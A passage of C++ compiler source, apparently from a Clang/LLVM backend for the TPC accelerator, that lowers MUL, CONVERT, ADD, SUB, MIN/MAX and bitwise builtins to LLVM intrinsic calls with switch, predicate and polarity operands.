getOptypeValue(E->getArg(0)->getType()));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Acc = emitOperand(CGF, E->getArg(AccOpNum));\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Polarity = CGF->EvaluateExprAsBool(E->getArg(PolarityOpNum));\n\n Args.push_back(DT);\n Args.push_back(Switches);\n Args.push_back(Acc);\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n\n Function *Callee = nullptr;\n switch (IntrinsicID) {\n case Intrinsic::tpc_mac_x2:\n Callee = CGF->CGM.getIntrinsic(IntrinsicID, { ResultTy,\n Args[0]->getType(),\n Args[1]->getType(),\n Args[3]->getType(),\n Predicate->getType() });\n break;\n case Intrinsic::tpc_mac_x2_f32:\n Callee = CGF->CGM.getIntrinsic(IntrinsicID, { ResultTy,\n Args[0]->getType(),\n Args[1]->getType(),\n Args[2]->getType(),\n Predicate->getType() });\n break;\n default:\n Callee = CGF->CGM.getIntrinsic(IntrinsicID, { ResultTy,\n Args[0]->getType(),\n Predicate->getType() });\n break;\n }\n\n Value *Result = CGF->Builder.CreateCall(Callee, Args);\n assert(Result);\n\n if (Multiplicity == 0)\n return Result;\n else if (Multiplicity == 2)\n Result = getStructFieldFromDoubleRegister(*CGF, FEResultTy, Result);\n else if (Multiplicity == 4)\n Result = getStructFieldFromQuadRegister(*CGF, FEResultTy, Result);\n else\n llvm_unreachable(\"Unhandled MAC result Multiplicity\");\n\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\n// float s_f32_mul(float a, float b, int switches, float income, bool predicate, bool polarity);\n// int5 i_i32_mul(int5 a, int5 b, int dimMask, int5 income, bool predicate, bool polarity);\n// float64 v_f32_mul_vb (float64 a, float64 b, int switches, float64 income, bool64 predicate, bool polarity);\n// int128 v_i32_mul_vb(int64 a, int64 b, int switches, int128 income, bool128 predicate, bool polarity);\n// float128 v_bf16_mul_acc32_vb(bfloat128 a, bfloat128 b, int switches, float128 income, bool128 predicate, bool polarity);\n// int64 v_i32_mul_acc32_vb(int64 a, int64 b, int switches, int64 income, bool64 predicate, bool polarity);\n//\nstatic Value *emit_MUL(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs - 1;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n llvm::Type *FEResultTy = Multiplicity ? CGF->ConvertType(E->getType()) : ResultTy;\n\n // Determine switches. Some intrinsics like 's_bf16_mul_acc32' require setting\n // specific switches, which user does not specify in invocation.\n unsigned RequiredSwitches;\n unsigned IntrinsicID;\n unsigned NumInputs;\n const unsigned SwitchMask = TPCII::SW_GROUP_RND32 |\n TPCII::SW_ACC_FP32 | TPCII::SW_X2_ARITHMETIC;\n switch (BuiltinID) {\n case TPC::BIv_i32_mul_b:\n case TPC::BIv_i32_mul_vb:\n case TPC::BIv_u32_mul_b:\n case TPC::BIv_u32_mul_vb:\n case TPC::BIs_f32_mul:\n case TPC::BIs_bf16_mul:\n case TPC::BIv_f32_mul_b:\n case TPC::BIv_f32_mul_vb:\n case TPC::BIv_bf16_mul_b:\n case TPC::BIv_bf16_mul_vb:\n case TPC::BIs_i32_mul:\n case TPC::BIs_u32_mul:\n case TPC::BIs_i16_mul:\n case TPC::BIs_u16_mul:\n case TPC::BIs_i8_mul:\n case TPC::BIs_u8_mul:\n case TPC::BIv_i16_mul_b:\n case TPC::BIv_i16_mul_vb:\n case TPC::BIv_u16_mul_b:\n case TPC::BIv_u16_mul_vb:\n case TPC::BIv_i8_mul_b:\n case TPC::BIv_i8_mul_vb:\n case TPC::BIv_u8_mul_b:\n case TPC::BIv_u8_mul_vb:\n NumInputs = 2;\n RequiredSwitches = 0;\n IntrinsicID = Intrinsic::tpc_mul;\n break;\n case TPC::BIi_i32_mul:\n NumInputs = 2;\n RequiredSwitches = 0;\n IntrinsicID = Intrinsic::tpc_mul_mask;\n break;\n case TPC::BIs_bf16_mul_acc32:\n case TPC::BIv_bf16_mul_acc32_vb:\n case TPC::BIv_bf16_mul_acc32_b:\n\n\n NumInputs = 2;\n RequiredSwitches = TPCII::SW_ACC_FP32;\n IntrinsicID = Intrinsic::tpc_mul;\n break;\n case TPC::BIv_i32_mul_round_vb:\n case TPC::BIv_i32_mul_round_b:\n case TPC::BIv_u32_mul_round_vb:\n case TPC::BIv_u32_mul_round_b: {\n RequiredSwitches = TPCII::SW_DOUBLE_AND_ROUND32;\n NumInputs = 2;\n IntrinsicID = Intrinsic::tpc_mul;\n break;\n }\n default:\n llvm_unreachable(\"Unhandled MUL intrinsic\");\n }\n\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n if (RequiredSwitches) {\n SwitchVal &= ~SwitchMask;\n SwitchVal |= RequiredSwitches;\n }\n\n // Prepare arguments.\n SmallVector<llvm::Value *, 8> Args;\n for (unsigned ArgNo = 0; ArgNo < NumInputs; ++ArgNo)\n Args.push_back(emitOperand(CGF, E->getArg(ArgNo)));\n if (IntrinsicID == Intrinsic::tpc_mul_mask)\n Args.push_back(/* DimMask */ CGF->EmitScalarExpr(E->getArg(2)));\n Args.push_back( /* DT */ llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(E->getArg(0)->getType())));\n Args.push_back(/* Switches */ llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal));\n\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity) &&\n IntrinsicID != Intrinsic::tpc_mul_mask) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n Args.push_back(Income);\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n\n // Call intrinsic.\n Function *Callee;\n switch (IntrinsicID) {\n case Intrinsic::tpc_mul:\n Callee = CGF->CGM.getIntrinsic(IntrinsicID,\n { ResultTy,\n Args[0]->getType(),\n Args[1]->getType(),\n Predicate->getType() });\n break;\n case Intrinsic::tpc_mul_mask:\n Callee = CGF->CGM.getIntrinsic(IntrinsicID,\n { Args[0]->getType(),\n Args[1]->getType() });\n break;\n case Intrinsic::tpc_mul_x2_f32:\n Callee = CGF->CGM.getIntrinsic(IntrinsicID,\n { ResultTy,\n Args[0]->getType(),\n Args[1]->getType(),\n Args[2]->getType(),\n Predicate->getType() });\n break;\n default:\n llvm_unreachable(\"Unhandled IntrinsicID for mul instruction\");\n }\n Value *Result = CGF->Builder.CreateCall(Callee, Args);\n\n if (Multiplicity == 0)\n return Result;\n else if (Multiplicity == 2)\n Result = getStructFieldFromDoubleRegister(*CGF, FEResultTy, Result);\n else if (Multiplicity == 4)\n Result = getStructFieldFromQuadRegister(*CGF, FEResultTy, Result);\n else\n llvm_unreachable(\"Unhandled MUL result Multiplicity\");\n\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\n// int8_t s_convert_i32_to_i8 (int32_t value, int32_t shift, int switches, int8_t income, bool predicate, bool polarity);\n// short128 v_convert_i32_to_i16_single_b (int64 value, int64 shift, const int lane, int switches, short128 income, bool predicate, bool polarity);\n// short128 v_convert_i32_to_i16_all_b (int128 value, short128 shift, int switches, short128 income, bool predicate, bool polarity);\n//\nstatic Value *emit_CONVERT_INT(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned SrcOpNum = 0;\n const unsigned ShiftOpNum = 1;\n const unsigned LaneOpNum = 2;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n\n const TargetInfo &TI = CGF->getContext().getTargetInfo();\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n // Lane number if present.\n unsigned Lane = ~0U;\n if (E->getNumArgs() == 7) {\n Expr::EvalResult ResVal;\n bool Status = E->getArg(LaneOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n if (!Status)\n report_fatal_error(\"Lane must be a constant integer\", false);\n Lane = (unsigned)(ResVal.Val.getInt().getLimitedValue());\n }\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n unsigned RequiredSwitches;\n const unsigned SwitchMask = TPCII::SW_GROUP_TO | TPCII::SW_NUM_LANES | TPCII::SW_LANE_SEL;\n unsigned IID;\n unsigned TotalLanes = 0;\n switch (BuiltinID) {\n case TPC::BIv_convert_int32_to_i16_b:\n case TPC::BIv_convert_int32_to_i16_vb:\n IID = Intrinsic::tpc_convert_int;\n RequiredSwitches = TPCII::SW_TO_16;\n TotalLanes = 2;\n break;\n case TPC::BIs_convert_int32_to_i16:\n IID = Intrinsic::tpc_convert_int;\n RequiredSwitches = TPCII::SW_TO_16;\n break;\n case TPC::BIv_convert_int32_to_i8_b:\n case TPC::BIv_convert_int32_to_i8_vb:\n IID = Intrinsic::tpc_convert_int;\n RequiredSwitches = TPCII::SW_TO_8;\n TotalLanes = 4;\n break;\n case TPC::BIs_convert_int32_to_i8:\n IID = Intrinsic::tpc_convert_int;\n RequiredSwitches = TPCII::SW_TO_8;\n break;\n case TPC::BIv_convert_uint32_to_u16_b:\n case TPC::BIv_convert_uint32_to_u16_vb:\n IID = Intrinsic::tpc_convert_uint;\n RequiredSwitches = TPCII::SW_TO_16;\n TotalLanes = 2;\n break;\n case TPC::BIs_convert_uint32_to_u16:\n IID = Intrinsic::tpc_convert_uint;\n RequiredSwitches = TPCII::SW_TO_16;\n break;\n case TPC::BIv_convert_uint32_to_u8_b:\n case TPC::BIv_convert_uint32_to_u8_vb:\n IID = Intrinsic::tpc_convert_uint;\n RequiredSwitches = TPCII::SW_TO_8;\n TotalLanes = 4;\n break;\n case TPC::BIs_convert_uint32_to_u8:\n IID = Intrinsic::tpc_convert_uint;\n RequiredSwitches = TPCII::SW_TO_8;\n break;\n case TPC::BIv_convert_int16_to_i8_b:\n case TPC::BIv_convert_int16_to_i8_vb:\n IID = Intrinsic::tpc_convert_int;\n RequiredSwitches = TPCII::SW_TO_8;\n TotalLanes = 2;\n break;\n case TPC::BIs_convert_int16_to_i8:\n IID = Intrinsic::tpc_convert_int;\n RequiredSwitches = TPCII::SW_TO_8;\n break;\n case TPC::BIv_convert_uint16_to_u8_b:\n case TPC::BIv_convert_uint16_to_u8_vb:\n IID = Intrinsic::tpc_convert_uint;\n RequiredSwitches = TPCII::SW_TO_8;\n TotalLanes = 2;\n break;\n case TPC::BIs_convert_uint16_to_u8:\n IID = Intrinsic::tpc_convert_uint;\n RequiredSwitches = TPCII::SW_TO_8;\n break;\n default:\n llvm_unreachable(\"Unhandled CONVERT_INT\");\n }\n SwitchVal &= ~SwitchMask;\n SwitchVal |= RequiredSwitches;\n if (TotalLanes) {\n assert(Lane != ~0U);\n assert(Lane < TotalLanes);\n // We rely on the fact that lane as number and lane as switch are the same value.\n static_assert(TPCII::SW_LANE_3 == 3, \"Unexpected lane encoding\");\n SwitchVal |= Lane;\n }\n if (TI.hasFeature(\"goya\"))\n SwitchVal = translateGen1RoundingMode(SwitchVal);\n\n // Arguments.\n Value *Src = emitOperand(CGF, E->getArg(SrcOpNum));\n Value *Shift = CGF->EmitScalarExpr(E->getArg(ShiftOpNum));\n Value *Switches = llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal);\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Income;\n if (TotalLanes == 0 && isUnconditional(Predicate, Polarity)) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n\n Function *Callee = CGF->CGM.getIntrinsic(IID,\n { ResultTy, Src->getType(), Shift->getType(), Predicate->getType() });\n Value *Result = CGF->Builder.CreateCall(Callee,\n {Src, Shift, Switches, Income, Predicate, Polarity});\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\n\n// int8_t s_i8_min(int8_t a, int8_t b, int sw, int8_t income, bool predicate, bool polarity);\n// int5 i_i32_max(int5 a, int5 b, int dimMask, int sw, int5 income, bool predicate, bool polarity);\n// int64 v_i32_and_vb(int64 a, int64 b, int sw, int64 income, bool256 predicate, bool polarity);\n//\nstatic Value* emit_BinOp(CodeGenFunction* CGF, unsigned BuiltinID, const CallExpr* E,\n unsigned IntrinsicID, unsigned IntrinsicMaskID) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned Src1OpNum = 0;\n const unsigned Src2OpNum = 1;\n const unsigned DimMaskOpNum = 2;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n assert(Multiplicity == 0);\n\n const bool WithMask = E->getNumArgs() == 7;\n const bool IRFOp = ResultTy->isVectorTy() &&\n ResultTy->getVectorNumElements() == 5;\n\n // Arguments of the operation.\n const Expr *X0 = E->getArg(Src1OpNum);\n const Expr *X1 = E->getArg(Src2OpNum);\n\n // If some of the operands is a vector splat, move it to the first place, if\n // the call produces int5. This corresponds to IRF operations. Otherwise move\n // it to the second place, such order is natural for VRF operations.\n if (IRFOp) {\n if (auto *Cast = dyn_cast<ImplicitCastExpr>(X1))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n std::swap(X0, X1);\n } else {\n if (auto *Cast = dyn_cast<ImplicitCastExpr>(X0))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n std::swap(X0, X1);\n }\n\n // If the first operand (for int5 type) or the second one (for other vector\n // types) is a vector splat, replace it with scalar argument.\n if (IRFOp) {\n if (auto *Cast = dyn_cast<ImplicitCastExpr>(X0))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n X0 = Cast->getSubExpr();\n } else {\n if (auto *Cast = dyn_cast<ImplicitCastExpr>(X1))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n X1 = Cast->getSubExpr();\n }\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n SmallVector<llvm::Value *, 8> Args;\n\n Value *Src1 = CGF->EmitScalarExpr(X0);\n Value *Src2 = CGF->EmitScalarExpr(X1);\n Args.push_back(Src1);\n Args.push_back(Src2);\n if (WithMask)\n Args.push_back(CGF->EmitScalarExpr(E->getArg(DimMaskOpNum)));\n Args.push_back(/* DT */ llvm::ConstantInt::get(CGF->Int8Ty, getOptypeValue(E->getArg(Src1OpNum)->getType())));\n Args.push_back(/* SW */ llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal));\n\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity) && !IRFOp) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n Args.push_back(Income);\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n\n Function* Callee;\n if (WithMask) {\n Callee = CGF->CGM.getIntrinsic(IntrinsicMaskID,\n { Src1->getType(),\n Src2->getType() });\n\n } else {\n Callee = CGF->CGM.getIntrinsic(IntrinsicID,\n { ResultTy,\n Src1->getType(),\n Src2->getType(),\n Predicate->getType() });\n }\n Value *Result = CGF->Builder.CreateCall(Callee, Args);\n return Result;\n}\n\n\n// int8_t s_i8_add(int8_t a, int8_t b, int sw, int8_t income, bool predicate, bool polarity);\n// int5 i_i32_add(int5 a, int5 b, int dimMask, int sw, int5 income, bool predicate, bool polarity);\n// float64 v_f32_add_vb(float64 a, float64 b, int sw, float64 income, bool256 predicate, bool polarity);\n//\nstatic Value *emit_ADD(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned DimMaskOpNum = 2;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n llvm::Type *FEResultTy = Multiplicity ? CGF->ConvertType(E->getType()) : ResultTy;\n\n unsigned IntrinsicID;\n unsigned NumInputs;\n unsigned RequiredSwitches = 0;\n const unsigned SwitchMask = TPCII::SW_X2_ARITHMETIC;\n switch (BuiltinID) {\n case TPC::BIs_f32_add:\n case TPC::BIs_i32_add:\n case TPC::BIs_u32_add:\n case TPC::BIs_i16_add:\n case TPC::BIs_u16_add:\n case TPC::BIs_i8_add:\n case TPC::BIs_u8_add:\n case TPC::BIs_bf16_add:\n case TPC::BIv_f32_add_vb:\n case TPC::BIv_f32_add_b:\n case TPC::BIv_bf16_add_vb:\n case TPC::BIv_bf16_add_b:\n case TPC::BIv_i32_add_vb:\n case TPC::BIv_i32_add_b:\n case TPC::BIv_u32_add_vb:\n case TPC::BIv_u32_add_b:\n case TPC::BIv_i16_add_vb:\n case TPC::BIv_i16_add_b:\n case TPC::BIv_u16_add_vb:\n case TPC::BIv_u16_add_b:\n case TPC::BIv_i8_add_vb:\n case TPC::BIv_i8_add_b:\n case TPC::BIv_u8_add_vb:\n case TPC::BIv_u8_add_b:\n IntrinsicID = Intrinsic::tpc_add;\n NumInputs = 2;\n break;\n case TPC::BIi_i32_add:\n IntrinsicID = Intrinsic::tpc_add_mask;\n NumInputs = 2;\n break;\n default:\n llvm_unreachable(\"Unhandled ADD intrinsic\");\n }\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n SwitchVal &= ~SwitchMask;\n SwitchVal |= RequiredSwitches;\n\n // If some of the operands is a vector splat, move it to the first place, if\n // the call produces int5. This corresponds to IRF operations. Otherwise move\n // it to the second place, such order is natural for VRF operations.\n const Expr *X0 = E->getArg(0);\n const Expr *X1 = E->getArg(1);\n if (IntrinsicID == Intrinsic::tpc_add_mask) {\n if (auto *Cast = dyn_cast<ImplicitCastExpr>(X1))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n std::swap(X0, X1);\n } else {\n if (auto *Cast = dyn_cast<ImplicitCastExpr>(X0))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n std::swap(X0, X1);\n }\n\n // If the first operand (for int5 type) or the second one (for other vector\n // types) is a vector splat, replace it with scalar argument.\n if (IntrinsicID == Intrinsic::tpc_add_mask) {\n if (auto *Cast = dyn_cast<ImplicitCastExpr>(X0))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n X0 = Cast->getSubExpr();\n } else {\n if (auto *Cast = dyn_cast<ImplicitCastExpr>(X1))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n X1 = Cast->getSubExpr();\n }\n\n SmallVector<llvm::Value *, 8> Args;\n for (unsigned ArgNo = 0; ArgNo < NumInputs; ++ArgNo)\n Args.push_back(emitOperand(CGF, E->getArg(ArgNo)));\n if (IntrinsicID == Intrinsic::tpc_add_mask)\n Args.push_back(CGF->EmitScalarExpr(E->getArg(DimMaskOpNum)));\n Args.push_back(/* DT */ llvm::ConstantInt::get(\n CGF->Int8Ty, getOptypeValue(E->getArg(0)->getType())));\n Args.push_back(/* SW */ llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal));\n\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity) && IntrinsicID != Intrinsic::tpc_add_mask) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n Args.push_back(Income);\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n\n Function* Callee;\n switch (IntrinsicID) {\n case Intrinsic::tpc_add:\n Callee = CGF->CGM.getIntrinsic(IntrinsicID,\n { ResultTy,\n Args[0]->getType(),\n Args[1]->getType(),\n Predicate->getType() });\n break;\n case Intrinsic::tpc_add_mask:\n Callee = CGF->CGM.getIntrinsic(IntrinsicID,\n { Args[0]->getType(),\n Args[1]->getType() });\n break;\n case Intrinsic::tpc_add_x2:\n Callee = CGF->CGM.getIntrinsic(IntrinsicID,\n { ResultTy,\n Args[1]->getType(),\n Args[2]->getType(),\n Predicate->getType()});\n break;\n default:\n break;\n }\n Value *Result = CGF->Builder.CreateCall(Callee, Args);\n\n if (Multiplicity == 0)\n return Result;\n else if (Multiplicity == 2)\n Result = getStructFieldFromDoubleRegister(*CGF, FEResultTy, Result);\n else\n llvm_unreachable(\"Unhandled MUL result Multiplicity\");\n\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\nstatic Value *emit_SUB(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned NumArgs = E->getNumArgs();\n const unsigned DimMaskOpNum = 2;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n llvm::Type *FEResultTy = Multiplicity ? CGF->ConvertType(E->getType()) : ResultTy;\n\n unsigned IntrinsicID;\n unsigned NumInputs;\n unsigned RequiredSwitches = 0;\n // Add NO_BORROW_GEN and BORROW switches to the mask\n const unsigned SwitchMask = TPCII::SW_X2_ARITHMETIC;\n switch (BuiltinID) {\n case TPC::BIs_f32_sub:\n case TPC::BIs_i32_sub:\n case TPC::BIs_u32_sub:\n case TPC::BIs_i16_sub:\n case TPC::BIs_u16_sub:\n case TPC::BIs_i8_sub:\n case TPC::BIs_u8_sub:\n case TPC::BIs_bf16_sub:\n\n case TPC::BIv_f32_sub_vb:\n case TPC::BIv_f32_sub_b:\n case TPC::BIv_bf16_sub_vb:\n case TPC::BIv_bf16_sub_b:\n\n\n case TPC::BIv_i32_sub_vb:\n case TPC::BIv_i32_sub_b:\n case TPC::BIv_u32_sub_vb:\n case TPC::BIv_u32_sub_b:\n case TPC::BIv_i16_sub_vb:\n case TPC::BIv_i16_sub_b:\n case TPC::BIv_u16_sub_vb:\n case TPC::BIv_u16_sub_b:\n case TPC::BIv_i8_sub_vb:\n case TPC::BIv_i8_sub_b:\n case TPC::BIv_u8_sub_vb:\n case TPC::BIv_u8_sub_b:\n IntrinsicID = Intrinsic::tpc_sub;\n NumInputs = 2;\n break;\n case TPC::BIi_i32_sub:\n IntrinsicID = Intrinsic::tpc_sub_mask;\n NumInputs = 2;\n break;\n default:\n llvm_unreachable(\"Unhandled SUB intrinsic\");\n }\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n SwitchVal &= ~SwitchMask;\n SwitchVal |= RequiredSwitches;\n\n // If the first operand (for int5 type) or the second one (for other vector\n // types) is a vector splat, replace it with scalar argument.\n const Expr *X0 = E->getArg(0);\n const Expr *X1 = E->getArg(1);\n if (IntrinsicID == Intrinsic::tpc_sub_mask) {\n if (auto *Cast = dyn_cast<ImplicitCastExpr>(X0))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n X0 = Cast->getSubExpr();\n } else {\n if (auto *Cast = dyn_cast<ImplicitCastExpr>(X1))\n if (Cast->getCastKind() == CastKind::CK_VectorSplat)\n X1 = Cast->getSubExpr();\n }\n\n SmallVector<llvm::Value *, 8> Args;\n for (unsigned ArgNo = 0; ArgNo < NumInputs; ++ArgNo)\n Args.push_back(emitOperand(CGF, E->getArg(ArgNo)));\n if (IntrinsicID == Intrinsic::tpc_sub_mask)\n Args.push_back(CGF->EmitScalarExpr(E->getArg(DimMaskOpNum)));\n Args.push_back(/* DT */ llvm::ConstantInt::get(\n CGF->Int8Ty, getOptypeValue(E->getArg(0)->getType())));\n Args.push_back(/* SW */ llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal));\n\n Value *Polarity = emitPredicate(CGF, E->getArg(PolarityOpNum));\n Value *Predicate = emitPredicate(CGF, E->getArg(PredOpNum));\n Value *Income;\n if (isUnconditional(Predicate, Polarity) && IntrinsicID != Intrinsic::tpc_sub_mask) {\n Income = UndefValue::get(ResultTy);\n } else {\n Income = emitOperand(CGF, E->getArg(IncomeOpNum));\n }\n Args.push_back(Income);\n Args.push_back(Predicate);\n Args.push_back(Polarity);\n\n Function* Callee;\n switch (IntrinsicID) {\n case Intrinsic::tpc_sub:\n Callee = CGF->CGM.getIntrinsic(IntrinsicID,\n { ResultTy,\n Args[0]->getType(),\n Args[1]->getType(),\n Predicate->getType() });\n break;\n case Intrinsic::tpc_sub_mask:\n Callee = CGF->CGM.getIntrinsic(IntrinsicID,\n { Args[0]->getType(),\n Args[1]->getType() });\n break;\n case Intrinsic::tpc_sub_x2:\n Callee = CGF->CGM.getIntrinsic(IntrinsicID,\n { ResultTy,\n Args[1]->getType(),\n Args[2]->getType(),\n Predicate->getType()});\n break;\n default:\n break;\n }\n Value *Result = CGF->Builder.CreateCall(Callee, Args);\n\n if (Multiplicity == 0)\n return Result;\n else if (Multiplicity == 2)\n Result = getStructFieldFromDoubleRegister(*CGF, FEResultTy, Result);\n else\n llvm_unreachable(\"Unhandled SUB result Multiplicity\");\n\n if (!ReturnValue.isNull())\n return CGF->Builder.CreateStore(Result, ReturnValue.getValue());\n return Result;\n}\n\nstatic Value *emit_MAX(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_BinOp(CGF, BuiltinID, E, Intrinsic::tpc_max, Intrinsic::tpc_max_mask);\n}\n\nstatic Value *emit_MIN(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_BinOp(CGF, BuiltinID, E, Intrinsic::tpc_min, Intrinsic::tpc_min_mask);\n}\n\nstatic Value *emit_AND(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_BinOp(CGF, BuiltinID, E, Intrinsic::tpc_and, Intrinsic::tpc_and_mask);\n}\n\nstatic Value *emit_OR(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_BinOp(CGF, BuiltinID, E, Intrinsic::tpc_or, Intrinsic::tpc_or_mask);\n}\n\nstatic Value *emit_XOR(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n return emit_BinOp(CGF, BuiltinID, E, Intrinsic::tpc_xor, Intrinsic::tpc_xor_mask);\n}\n\n\n// bool64 v_f32_cmp_eq_vb (float64 a, float64 b, int switches, bool64 income, bool64 predicate, bool polarity);\n//\nstatic Value *emit_CMP(CodeGenFunction *CGF, unsigned BuiltinID, const CallExpr *E, unsigned IntrinsicID) {\n const unsigned NumArgs = E->getNumArgs();\n assert(NumArgs == 6);\n const unsigned Src1OpNum = 0;\n const unsigned Src2OpNum = 1;\n const unsigned SwOpNum = NumArgs - 4;\n const unsigned IncomeOpNum = NumArgs - 3;\n const unsigned PredOpNum = NumArgs - 2;\n const unsigned PolarityOpNum = NumArgs -1;\n\n // Result type.\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n\n // Determine switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(SwOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n\n const Expr *X0 = E->getArg(Src1OpNum);\n const Expr *X1 = E->getArg(Src2OpNum);\n if 